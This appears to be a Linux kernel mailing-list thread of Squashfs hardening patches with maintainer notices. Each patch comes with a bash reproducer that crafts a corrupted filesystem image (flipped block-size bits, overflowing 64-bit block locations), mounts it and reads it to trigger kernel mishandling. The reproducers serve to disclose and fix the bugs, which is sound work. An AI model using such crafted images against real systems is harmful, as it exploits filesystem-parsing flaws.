The reproducer generates a Squashfs filesystem and then corrupts the block size value for file zero block 0. If the exploit succeeds this corrupted value is not detected, and it is passed to the decompressor via squashfs_read_data() which then fails at that point.
====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -no-fragments -noI -noD -no-sparse -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create Squashfs filesystem with one file
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=128 2>/dev/null" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo Corrupt the data block size for block 0 in file zero echo Flip the compression bit from uncompressed to compressed. echo "This is at byte offset 131207 (96 + 128 KiB + 37)"
dd if=/dev/zero of=img.sqsh seek=131205 bs=1 count=1 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dmesg should show the following:
echo "SQUASHFS error: zlib decompression failed, data probably corrupt" echo "SQUASHFS error: Failed to read block 0x60: -5"
echo "SQUASHFS error: zlib decompression failed, data probably corrupt" echo "SQUASHFS error: Failed to read block 0x60: -5"
echo "SQUASHFS error: Unable to read data cache entry [60]" echo "SQUASHFS error: Unable to read page, block 60, size 20000"
dd if=/mnt/zero
popd 2>&1> /dev/null
rm -rf $DIR
==============================================================================
fs/squashfs/file.c | 8 ++++-- fs/squashfs/fragment.c | 2 - fs/squashfs/squashfs_fs.h | 6 ----- fs/squashfs/squashfs_helpers.h | 36 +++++++++++++++++++++++++++++++ 4 files changed, 42 insertions(+), 10 deletions(-)
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-add-more-sanity-checking-to-squashfs_block_size +5 -3
@@ -166,6 +166,7 @@ static long long read_indexes(struct sup {int err, i;long long block =0 ; +struct squashfs_sb_info *msblk = sb->s_fs_info;__le32 *blist =kmalloc (PAGE_SIZE ,GFP_KERNEL );if (blist ==NULL ) {
@@ -185,7 +186,7 @@ static long long read_indexes(struct sup }for (i =0 ; i < blocks; i++) { -int size =squashfs_block_size (blist[i]); +int size =squashfs_data_size (blist[i], msblk->block_size);if (size <0 ) { err = size; goto failure;
@@ -333,6 +334,7 @@ static int read_blocklist_ptrs(struct in {long long blks;__le32 size; +struct squashfs_sb_info *msblk = inode->i_sb->s_fs_info;s64 res =fill_meta_index (inode, index, start, offset, block); TRACE("read_blocklist: res %lld, index %lld, start 0x%llx, offset 0x%x, block 0x%llx\n",
@@ -362,7 +364,7 @@ static int read_blocklist_ptrs(struct in sizeof(size));if (res <0 )return res; -return squashfs_block_size (size); +return squashfs_data_size (size, msblk->block_size); }static inline int read_blocklist (struct inode *inode,s64 index,u64 *block)
@@ -720,7 +722,7 @@ static loff_t seek_hole_data(struct file goto finished;for (i =0 ; i < indexes; i++) { - length =squashfs_block_size (blist[i]); + length =squashfs_data_size (blist[i], msblk->block_size);if (length <0 ) { offset = length; goto finished;
fs/squashfs/fragment.c renamed from fs/squashfs/fragment.c~squashfs-add-more-sanity-checking-to-squashfs_block_size +1 -1
@@ -54,7 +54,7 @@ int squashfs_frag_lookup(struct super_blreturn size; *fragment_block =le64_to_cpu (fragment_entry.start_block); -return squashfs_block_size (fragment_entry.size); +return squashfs_frag_size (fragment_entry.size, msblk->block_size); }
fs/squashfs/squashfs_fs.h renamed from fs/squashfs/squashfs_fs.h~squashfs-add-more-sanity-checking-to-squashfs_block_size +0 -6
@@ -101,12 +101,6 @@#define SQUASHFS_XATTR_VALUE_OOL 256#define SQUASHFS_XATTR_PREFIX_MASK 0xff -static inline int squashfs_block_size (__le32 raw) -{ -u32 size =le32_to_cpu (raw); -return (size >>25 ) ? -EIO : size; -} -/* cached data constants for filesystem */ #define SQUASHFS_CACHED_BLKS 8
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-add-more-sanity-checking-to-squashfs_block_size +36 -0
@@ -203,4 +203,40 @@ static inline s16 squashfs_xattr_offset( {return xattr &0xffff ; } + +static inline int squashfs_block_size (u32 size,s32 block_size) +{ +/* reject any size with bits set where they should not be */ +if ((size & ~SQUASHFS_COMPRESSED_BIT_BLOCK ) > block_size) +return -EIO ; + +/* a block can't be both full size and compressed */ +if (size == block_size) +return -EIO ; + +/* a zero size block will never have SQUASHFS_COMPRESSED_BIT_BLOCK set */ +if (size ==SQUASHFS_COMPRESSED_BIT_BLOCK ) +return -EIO ; + +return size; +} + +static inline int squashfs_data_size (__le32 raw,s32 block_size) +{ +return squashfs_block_size (le32_to_cpu (raw), block_size); +} + +static inline int squashfs_frag_size (__le32 raw,s32 block_size) +{ +int size =squashfs_block_size (le32_to_cpu (raw), block_size); + +if (size <0 ) +return size; + +/* a fragment block can't be zero size */ +if (size ==0 ) +return -EIO ; + +return size; +}#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 16/23 Squashfs: sanity check fragment block location and range
In reply to Phillip LougherWhen reading fragment blocks from disk the location and range of the fragment block is not sanity checked before it is passed down to squashfs_read_data().
In squashfs_read_data() the block location and range are sanity checked to the extent that the location plus block length does not go beyond the end of the filesystem. But, a block location can be crafted to be close to 2^64, and so the addition of the location and the length can cause arthimetic overflow, and thereby evade the sanity check.
This evasion, however, will be caught when the code after the sanity check tries to read the block from the filesystem. This is because it is the block location that is passed to the I/O read, and not the result of the overflowed sanity check. This will return error because it will be beyond the end of the device.
The real issue here is that leaving the sanity checking of the fragment block location and range to squashfs_read_data() is sub-optimal. This is because a fragment cache buffer has to be obtained (with possible waits fop a free buffer, and then the eviction of the original cached contents) before squashfs_read_data() is called.
This adds unnecessary overhead and contention, which could be exploited to reduce performance, and this is for incorrect values that should have been detected earlier.
This commit adds extra sanity checking to ensure the fragment block location and range are within bounds before a free fragment block is obtained.
Reproducer
==========
The reproducer generates a Squashfs filesytem with a fragment block, and then corrupts the location of the fragment block to 2^64 - 32 KiB. If the exploit succeeds this corrupted value is paased to squaashfs_read_data() and it is not detected until the I/O read fails.
=====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -noI -noD -noF -no-sparse -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create Squashfs filesystem with one file
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=32 2>/dev/null" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo "Corrupt the location of fragment block 0"
echo "Alter it to the value 0xFFFFFFFFFFFF8000 (2^64 - 32 KiB)" echo "The block location is stored at byte offset 32958"
/usr/bin/echo -en "\x00\x80\xff\xff\xff\xff\xff\xff" > file dd if=file of=img.sqsh seek=32958 bs=1 count=8 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dmesg should show the following:
echo "dd: attempt to access beyond end of device"
echo " loop20: rw=2048, sector=36028797018963904, nr_sectors = 64 limit=72"
echo "SQUASHFS error: Failed to read block 0xffffffffffff8000: -5" echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000]" echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000]" echo "SQUASHFS error: Unable to read page, block ffffffffffff8000, size 1008000"
dd if=/mnt/zero
popd 2>&1> /dev/null
rm -rf $DIR
=========================================================================
---
v2:
- Don't return frag_size as the return value of squashfs_frag_lookup() This ensures the frag_size cannot be treated as a negative error result.
--- fs/squashfs/cache.c | 7 +++++-- fs/squashfs/file.c | 8 ++++++-- fs/squashfs/fragment.c | 5 +++-- fs/squashfs/inode.c | 12 ++++-------- fs/squashfs/squashfs.h | 3 ++- fs/squashfs/squashfs_helpers.h | 24 ++++++++++++++++++++++-- 6 files changed, 42 insertions(+), 17 deletions(-)
fs/squashfs/cache.c +5 -2
@@ -490,9 +490,12 @@ struct squashfs_cache_entry *squashfs_get_fragment(struct super_block *sb, u64 start_block, int length) {struct squashfs_sb_info *msblk = sb->s_fs_info; +int res =squashfs_check_range (start_block, length, msblk); -return squashfs_cache_get (sb, msblk->fragment_cache, start_block, - length); +if (res <0 ) +return ERR_PTR (res); + +return squashfs_cache_get (sb, msblk->fragment_cache, start_block, res); }
fs/squashfs/file.c +6 -2
@@ -443,7 +443,7 @@ static int squashfs_readpage_fragment(struct folio *folio, int expected)struct squashfs_cache_entry *buffer =squashfs_get_fragment (inode->i_sb,squashfs_i (inode)->fragment_block,squashfs_i (inode)->fragment_size); -int res = buffer->error; +int res =IS_ERR (buffer) ?PTR_ERR (buffer) : buffer->error;if (res) ERROR("Unable to read page, block %llx, size %x\n",
@@ -453,7 +453,8 @@ static int squashfs_readpage_fragment(struct folio *folio, int expected)squashfs_copy_cache (folio, buffer, expected,squashfs_i (inode)->fragment_offset); -squashfs_cache_put (buffer); +if (!IS_ERR (buffer)) +squashfs_cache_put (buffer);return res; }
@@ -519,6 +520,9 @@ static int squashfs_readahead_fragment(struct inode *inode, struct page **page,void *addr;struct page *last_page; +if (IS_ERR (buffer)) +return 1 ; +if (buffer->error) goto out;
fs/squashfs/fragment.c +3 -2
@@ -34,7 +34,7 @@* location of the fragment and its compressed size */ int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment, -u64 *fragment_block) +u64 *fragment_block,int *fragment_size) {struct squashfs_sb_info *msblk = sb->s_fs_info;int block, offset, size;
@@ -54,7 +54,8 @@ int squashfs_frag_lookup(struct super_block *sb, unsigned int fragment,return size; *fragment_block =le64_to_cpu (fragment_entry.start_block); -return squashfs_frag_size (fragment_entry.size, msblk->block_size); + *fragment_size =le32_to_cpu (fragment_entry.size); +return 0 ; }
fs/squashfs/inode.c +4 -8
@@ -158,11 +158,9 @@ int squashfs_read_inode(struct inode *inode, long long ino) goto failed_read; } frag_offset =le32_to_cpu (sqsh_ino->offset); - frag_size =squashfs_frag_lookup (sb, frag, &frag_blk); -if (frag_size <0 ) { - err = frag_size; + err =squashfs_frag_lookup (sb, frag, &frag_blk, &frag_size); +if (err <0 ) goto failed_read; - } }else { frag_blk =SQUASHFS_INVALID_BLK ; frag_size =0 ;
@@ -215,11 +213,9 @@ int squashfs_read_inode(struct inode *inode, long long ino) goto failed_read; } frag_offset =le32_to_cpu (sqsh_ino->offset); - frag_size =squashfs_frag_lookup (sb, frag, &frag_blk); -if (frag_size <0 ) { - err = frag_size; + err =squashfs_frag_lookup (sb, frag, &frag_blk, &frag_size); +if (err <0 ) goto failed_read; - } }else { frag_blk =SQUASHFS_INVALID_BLK ; frag_size =0 ;
fs/squashfs/squashfs.h +2 -1
@@ -68,7 +68,8 @@ extern __le64 *squashfs_read_inode_lookup_table(struct super_block *, u64, u64, unsigned int);/* fragment.c */ -extern int squashfs_frag_lookup (struct super_block *,unsigned int ,u64 *); +extern int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment, +u64 *fragment_block,int *fragment_size);extern __le64 *squashfs_read_fragment_index_table (struct super_block *,u64 ,u64 ,unsigned int );
fs/squashfs/squashfs_helpers.h +22 -2
@@ -226,9 +226,9 @@ static inline int squashfs_data_size(__le32 raw, s32 block_size)return squashfs_block_size (le32_to_cpu (raw), block_size); } -static inline int squashfs_frag_size (__le32 raw,s32 block_size) +static inline int squashfs_frag_size (u32 disk_size,s32 block_size) { -int size =squashfs_block_size (le32_to_cpu (raw), block_size); +int size =squashfs_block_size (disk_size, block_size);if (size <0 )return size;
@@ -239,4 +239,24 @@ static inline int squashfs_frag_size(__le32 raw, s32 block_size) return size; } + +static inline int squashfs_check_range (u64 start_block,s32 disk_size,struct squashfs_sb_info *msblk) +{ +int size =squashfs_frag_size (disk_size, msblk->block_size); + +if (size <0 ) +return size; + +if (start_block >= msblk->inode_table) +return -EIO ; + +/* +* the above check ensured start_block is not 2^63 or larger, and so +* this addition will not overflow +*/ +if (start_block +squashfs_compressed_size_block (size) > msblk->inode_table) +return -EIO ; + +return size; +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-sanity-check-fragment-block-location-and-range.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: sanity check fragment block location and range has been added to the -mm mm-nonmm-unstable branch. Its filename is…
The patch titled
Subject: Squashfs: sanity check fragment block location and range
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-sanity-check-fragment-block-location-and-range.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-sanity-check-fragment-block-location-and-range.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
c) Ideally: find the original patch on the mailing list and do a reply-to-all to that, adding suitable additional cc's
*** Remember to use Documentation/process/submit-checklist.rst when testing your code ***
The -mm tree is included into linux-next via various branches at git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
and is updated there most days
------------------------------------------------------
From: Phillip Lougher <[email protected]>
Subject: Squashfs: sanity check fragment block location and range
Date: Mon, 23 Nov 2026 03:42:57 +0000
When reading fragment blocks from disk the location and range of the fragment block is not sanity checked before it is passed down to squashfs_read_data().
In squashfs_read_data() the block location and range are sanity checked to the extent that the location plus block length does not go beyond the end of the filesystem. But, a block location can be crafted to be close to 2^64, and so the addition of the location and the length can cause arthimetic overflow, and thereby evade the sanity check.
This evasion, however, will be caught when the code after the sanity check tries to read the block from the filesystem. This is because it is the block location that is passed to the I/O read, and not the result of the overflowed sanity check. This will return error because it will be beyond the end of the device.
The real issue here is that leaving the sanity checking of the fragment block location and range to squashfs_read_data() is sub-optimal. This is because a fragment cache buffer has to be obtained (with possible waits fop a free buffer, and then the eviction of the original cached contents) before squashfs_read_data() is called.
This adds unnecessary overhead and contention, which could be exploited to reduce performance, and this is for incorrect values that should have been detected earlier.
This commit adds extra sanity checking to ensure the fragment block location and range are within bounds before a free fragment block is obtained.
Reproducer
==========
The reproducer generates a Squashfs filesytem with a fragment block, and then corrupts the location of the fragment block to 2^64 - 32 KiB. If the exploit succeeds this corrupted value is paased to squaashfs_read_data() and it is not detected until the I/O read fails.
=====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -noI -noD -noF -no-sparse -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo Create Squashfs filesystem with one file
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=32 2>/dev/null" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo "Corrupt the location of fragment block 0"
echo "Alter it to the value 0xFFFFFFFFFFFF8000 (2^64 - 32 KiB)" echo "The block location is stored at byte offset 32958"
/usr/bin/echo -en "\x00\x80\xff\xff\xff\xff\xff\xff" > file dd if=file of=img.sqsh seek=32958 bs=1 count=8 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dmesg should show the following:
echo "dd: attempt to access beyond end of device"
echo " loop20: rw=2048, sector=36028797018963904, nr_sectors = 64 limit=72"
echo "SQUASHFS error: Failed to read block 0xffffffffffff8000: -5" echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000]" echo "SQUASHFS error: Unable to read fragment cache entry [ffffffffffff8000]" echo "SQUASHFS error: Unable to read page, block ffffffffffff8000, size 1008000"
dd if=/mnt/zero
popd 2>&1> /dev/null
rm -rf $DIR
=========================================================================
fs/squashfs/cache.c | 7 +++++-- fs/squashfs/file.c | 8 ++++++-- fs/squashfs/fragment.c | 5 +++-- fs/squashfs/inode.c | 12 ++++-------- fs/squashfs/squashfs.h | 3 ++- fs/squashfs/squashfs_helpers.h | 24 ++++++++++++++++++++++-- 6 files changed, 42 insertions(+), 17 deletions(-)
fs/squashfs/cache.c renamed from fs/squashfs/cache.c~squashfs-sanity-check-fragment-block-location-and-range +5 -2
@@ -490,9 +490,12 @@ struct squashfs_cache_entry *squashfs_ge u64 start_block, int length) {struct squashfs_sb_info *msblk = sb->s_fs_info; +int res =squashfs_check_range (start_block, length, msblk); -return squashfs_cache_get (sb, msblk->fragment_cache, start_block, - length); +if (res <0 ) +return ERR_PTR (res); + +return squashfs_cache_get (sb, msblk->fragment_cache, start_block, res); }
fs/squashfs/file.c renamed from fs/squashfs/file.c~squashfs-sanity-check-fragment-block-location-and-range +6 -2
@@ -443,7 +443,7 @@ static int squashfs_readpage_fragment(ststruct squashfs_cache_entry *buffer =squashfs_get_fragment (inode->i_sb,squashfs_i (inode)->fragment_block,squashfs_i (inode)->fragment_size); -int res = buffer->error; +int res =IS_ERR (buffer) ?PTR_ERR (buffer) : buffer->error;if (res) ERROR("Unable to read page, block %llx, size %x\n",
@@ -453,7 +453,8 @@ static int squashfs_readpage_fragment(stsquashfs_copy_cache (folio, buffer, expected,squashfs_i (inode)->fragment_offset); -squashfs_cache_put (buffer); +if (!IS_ERR (buffer)) +squashfs_cache_put (buffer);return res; }
@@ -519,6 +520,9 @@ static int squashfs_readahead_fragment(svoid *addr;struct page *last_page; +if (IS_ERR (buffer)) +return 1 ; +if (buffer->error) goto out;
fs/squashfs/fragment.c renamed from fs/squashfs/fragment.c~squashfs-sanity-check-fragment-block-location-and-range +3 -2
@@ -34,7 +34,7 @@* location of the fragment and its compressed size */ int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment, -u64 *fragment_block) +u64 *fragment_block,int *fragment_size) {struct squashfs_sb_info *msblk = sb->s_fs_info;int block, offset, size;
@@ -54,7 +54,8 @@ int squashfs_frag_lookup(struct super_blreturn size; *fragment_block =le64_to_cpu (fragment_entry.start_block); -return squashfs_frag_size (fragment_entry.size, msblk->block_size); + *fragment_size =le32_to_cpu (fragment_entry.size); +return 0 ; }
fs/squashfs/inode.c renamed from fs/squashfs/inode.c~squashfs-sanity-check-fragment-block-location-and-range +4 -8
@@ -158,11 +158,9 @@ int squashfs_read_inode(struct inode *in goto failed_read; } frag_offset =le32_to_cpu (sqsh_ino->offset); - frag_size =squashfs_frag_lookup (sb, frag, &frag_blk); -if (frag_size <0 ) { - err = frag_size; + err =squashfs_frag_lookup (sb, frag, &frag_blk, &frag_size); +if (err <0 ) goto failed_read; - } }else { frag_blk =SQUASHFS_INVALID_BLK ; frag_size =0 ;
@@ -215,11 +213,9 @@ int squashfs_read_inode(struct inode *in goto failed_read; } frag_offset =le32_to_cpu (sqsh_ino->offset); - frag_size =squashfs_frag_lookup (sb, frag, &frag_blk); -if (frag_size <0 ) { - err = frag_size; + err =squashfs_frag_lookup (sb, frag, &frag_blk, &frag_size); +if (err <0 ) goto failed_read; - } }else { frag_blk =SQUASHFS_INVALID_BLK ; frag_size =0 ;
fs/squashfs/squashfs.h renamed from fs/squashfs/squashfs.h~squashfs-sanity-check-fragment-block-location-and-range +2 -1
@@ -68,7 +68,8 @@ extern __le64 *squashfs_read_inode_looku unsigned int);/* fragment.c */ -extern int squashfs_frag_lookup (struct super_block *,unsigned int ,u64 *); +extern int squashfs_frag_lookup (struct super_block *sb,unsigned int fragment, +u64 *fragment_block,int *fragment_size);extern __le64 *squashfs_read_fragment_index_table (struct super_block *,u64 ,u64 ,unsigned int );
fs/squashfs/squashfs_helpers.h renamed from fs/squashfs/squashfs_helpers.h~squashfs-sanity-check-fragment-block-location-and-range +22 -2
@@ -226,9 +226,9 @@ static inline int squashfs_data_size(__lreturn squashfs_block_size (le32_to_cpu (raw), block_size); } -static inline int squashfs_frag_size (__le32 raw,s32 block_size) +static inline int squashfs_frag_size (u32 disk_size,s32 block_size) { -int size =squashfs_block_size (le32_to_cpu (raw), block_size); +int size =squashfs_block_size (disk_size, block_size);if (size <0 )return size;
@@ -238,5 +238,25 @@ static inline int squashfs_frag_size(__lreturn -EIO ; return size; +} + +static inline int squashfs_check_range (u64 start_block,s32 disk_size,struct squashfs_sb_info *msblk) +{ +int size =squashfs_frag_size (disk_size, msblk->block_size); + +if (size <0 ) +return size; + +if (start_block >= msblk->inode_table) +return -EIO ; + +/* +* the above check ensured start_block is not 2^63 or larger, and so +* this addition will not overflow +*/ +if (start_block +squashfs_compressed_size_block (size) > msblk->inode_table) +return -EIO ; + +return size; }#endif
_
Patches currently in -mm which might be from [email protected] are
squashfs-convert-squashfs_compressed_-to-inline-functions.patch squashfs-convert-squashfs_inode_-and-squashfs_mkinode-to-inline-functions.patch squashfs-convert-squashfs_fragment_-to-inline-functions.patch squashfs-convert-squashfs_lookup_-to-inline-functions.patch squashfs-convert-squashfs_id_-to-inline-functions.patch squashfs-convert-squashfs_xattr_-to-inline-functions.patch squashfs-fix-offset-in-squashfs_read_inode-trace-statements.patch squashfs-dont-compute-start-or-alloc-memory-on-empty-directory-or-index.patch squashfs-fix-fragment-bytes-overflow-on-32-bit-architectures.patch squashfs-fix-fragment-index-table-length-too-large-exploit.patch squashfs-sanity-check-inode-metadata-block-location.patch squashfs-sanity-check-directory-metadata-block-location.patch squashfs-widen-xattr-count-variables-and-add-sanity-check.patch squashfs-very-large-files-can-exceed-an-int-or-size_t.patch squashfs-add-more-sanity-checking-to-squashfs_block_size.patch squashfs-sanity-check-fragment-block-location-and-range.patch squashfs-sanity-check-block-list-sizes-and-range.patch squashfs-dont-store-large-export-table-indexes-in-memory.patch squashfs-dont-store-large-fragment-table-indexes-in-memory.patch squashfs-dont-store-large-xattr-id-table-indexes-in-memory.patch squashfs-fix-variables-in-directory-code-and-add-more-sanity-checks.patch squashfs-fix-regression-in-squashfs_copy_cache.patch squashfs-check-index-isnt-greater-than-s64_max-in-squashfs_read_data.patch
Phillip Lougher
maintainerPATCH v3 17/23 Squashfs: sanity check block list sizes and range
In reply to Phillip LougherA Squashfs file has a list of block sizes, storing the compressed size of each data block. This block list is scanned to discover the size and location of block x, where the sizes of previous data blocks are added to the start of the data blocks to produce the location.
But, when scanning this block list and adding the block sizes, the code does not check for arithmetic overflow. This means the data block start location can be crafted to be close to 2^64, and so the addition of the block sizes can cause arithmetic overflow and thereby evade any sanity checks.
Additionally, the range (start and end) of the data block that is to be read from the filesystem is not checked for correctness before squasfs_read_data().
This commit adds checks for arithmetic overflow and sanity checks the range of the data block before attempting to read from disk.
Reproducer
==========
The reproducer generates a Squashfs filesystem with a file with two data blocks, and then corrupts the location of the start of the data blocks to 2^64 - 128 KiB. This added to the size of data block 0 (128 KiB) will overflow, producing a location of 0. If the exploit succeeds, when the second block is read, Squashfs will not produce an I/O error and instead print the Squashfs filesystem superblock starting with hsqs.
====================================================================
#!/bin/bash
ARGS="-quiet -no-progress -noI -noD -no-sparse -no-fragments -comp gzip"
finish() {
popd 2>&1 > /dev/null
rm -rf $DIR
exit 1
}DIR=$(mktemp -d)
pushd $DIR 2>&1 > /dev/null
echo "Create Squashfs filesystem with one file, with 2 data blocks" echo "Create a hard link to it, to force Mksquashfs to use an extended inode" echo "(more than one nlink). This means the start_block field will" echo "be 64-bits"
echo "/ d 0777 0 0" > pseudo
echo "zero f 0777 0 0 dd if=/dev/zero bs=1024 count=256 2>/dev/null" >> pseudo echo "hardlink L zero" >> pseudo
if ! mksquashfs - img.sqsh -pf pseudo $ARGS; then
echo Failed to create Squashfs filesystem
finish
fi
echo "Corrupt the start_block field of file zero's inode, which" echo "points to the start of the file's data blocks."
echo "Alter it to the value 0xFFFFFFFFFFFE0000 (2^64 - 128 KiB)." echo "That value added to the size of the first data block (128 KiB)" echo "will overflow"
echo "The inode start_block field is stored at byte offset 262258"
/usr/bin/echo -en "\x00\x00\xfe\xff\xff\xff\xff\xff" > file dd if=file of=img.sqsh seek=262258 bs=1 count=8 conv=notrunc status=none
echo Mount the filesystem to /mnt
if ! mount -t squashfs img.sqsh /mnt; then
echo Mount of Squashfs filesystem failed
finish
fi
echo Read the file zero.
echo If the exploit succeeds, dd will not fail, and it will display the Squashfs echo superblock, beginning with hsqs
echo
dd if=/mnt/zero bs=1024 skip=128
popd 2>&1> /dev/null
rm -rf $DIR
====================================================================
---
v2:
- Ensure sparse blocks at the end of the inode table do not trigger new sanity checks.
--- fs/squashfs/cache.c | 2 +- fs/squashfs/file.c | 27 +++++++++++++++++++++------ fs/squashfs/squashfs_helpers.h | 20 +++++++++++++++++--- 3 files changed, 39 insertions(+), 10 deletions(-)
fs/squashfs/cache.c +1 -1
@@ -490,7 +490,7 @@ struct squashfs_cache_entry *squashfs_get_fragment(struct super_block *sb, u64 start_block, int length) {struct squashfs_sb_info *msblk = sb->s_fs_info; -int res =squashfs_check_range (start_block, length, msblk); +int res =squashfs_check_range (start_block,squashfs_frag_size (length, msblk->block_size), msblk);if (res <0 )return ERR_PTR (res);
fs/squashfs/file.c +21 -6
@@ -281,6 +281,9 @@ static s64 fill_meta_index(struct inode *inode, s64 index,long long res =read_indexes (inode->i_sb, blocks, &cur_index_block, &cur_offset); +if (res >=0 ) + res =squashfs_add_indexes (cur_data_block, res, msblk); +if (res <0 ) {if (meta->entries ==0 )/*
@@ -292,7 +295,7 @@ static s64 fill_meta_index(struct inode *inode, s64 index, goto failed; } - cur_data_block += res; + cur_data_block = res; meta_entry = &meta->meta_entry[i - meta->offset]; meta_entry->index_block = cur_index_block - msblk->inode_table;
@@ -353,8 +356,13 @@ static int read_blocklist_ptrs(struct inode *inode, s64 index, u64 *start, blks =read_indexes (inode->i_sb, index - res, start, offset);if (blks <0 )return (int ) blks; -if (block) - *block += blks; +if (block) { + res =squashfs_add_indexes (*block, blks, msblk); +if (res <0 ) +return (int ) res; + + *block = res; + } }/*
@@ -492,8 +500,11 @@ static int squashfs_read_folio(struct file *file, struct folio *folio)if (res ==0 ) res =squashfs_readpage_sparse (folio, expected); -else - res =squashfs_readpage_block (folio, block, res, expected); +else { + res =squashfs_check_range (block, res, msblk); +if (res >=0 ) + res =squashfs_readpage_block (folio, block, res, expected); + } }else res =squashfs_readpage_fragment (folio, expected);
@@ -629,7 +640,11 @@ static void squashfs_readahead(struct readahead_control *ractl) } bsize =read_blocklist (inode, start >> msblk->block_log, &block); -if (bsize ==0 ) +if (bsize <=0 ) + goto skip_pages; + + bsize =squashfs_check_range (block, bsize, msblk); +if (bsize <0 ) goto skip_pages; actor = squashfs_page_actor_init_special(msblk, pages, nr_pages,
fs/squashfs/squashfs_helpers.h +17 -3
@@ -240,10 +240,8 @@ static inline int squashfs_frag_size(u32 disk_size, s32 block_size)return size; } -static inline int squashfs_check_range (u64 start_block,s32 disk_size,struct squashfs_sb_info *msblk) +static inline int squashfs_check_range (u64 start_block,s32 size,struct squashfs_sb_info *msblk) { -int size =squashfs_frag_size (disk_size, msblk->block_size); -if (size <0 )return size;
@@ -259,4 +257,20 @@ static inline int squashfs_check_range(u64 start_block, s32 disk_size, struct sq return size; } + +static inline s64 squashfs_add_indexes (u64 block,s64 blks,struct squashfs_sb_info *msblk) +{ + +if (block >S64_MAX ) +return -EIO ; + +/* +* the above check ensured block is not 2^63 or larger, and so +* this addition will not overflow +*/ +if (block + blks > msblk->inode_table) +return -EIO ; + +return block + blks; +}#endif
Signature · 1 line
2.47.3
Andrew Morton
tree notice+ squashfs-sanity-check-block-list-sizes-and-range.patch added to mm-nonmm-unstable branch
The patch titled Subject: Squashfs: sanity check block list sizes and range has been added to the -mm mm-nonmm-unstable branch. Its filename is squashfs-sanity-check-block-list-sizes-and-range.patch
The patch titled
Subject: Squashfs: sanity check block list sizes and range
has been added to the -mm mm-nonmm-unstable branch. Its filename is
squashfs-sanity-check-block-list-sizes-and-range.patch
This patch will shortly appear at
https://git.kernel.org/pub/scm/linux/kernel/git/akpm/25-new.git/tree/patches/squashfs-sanity-check-block-list-sizes-and-range.patch
This patch will later appear in the mm-nonmm-unstable branch at
git://git.kernel.org/pub/scm/linux/kernel/git/akpm/mm
Before you just go and hit "reply", please:
a) Consider who else should be cc'ed
b) Prefer to cc a suitable mailing list as well
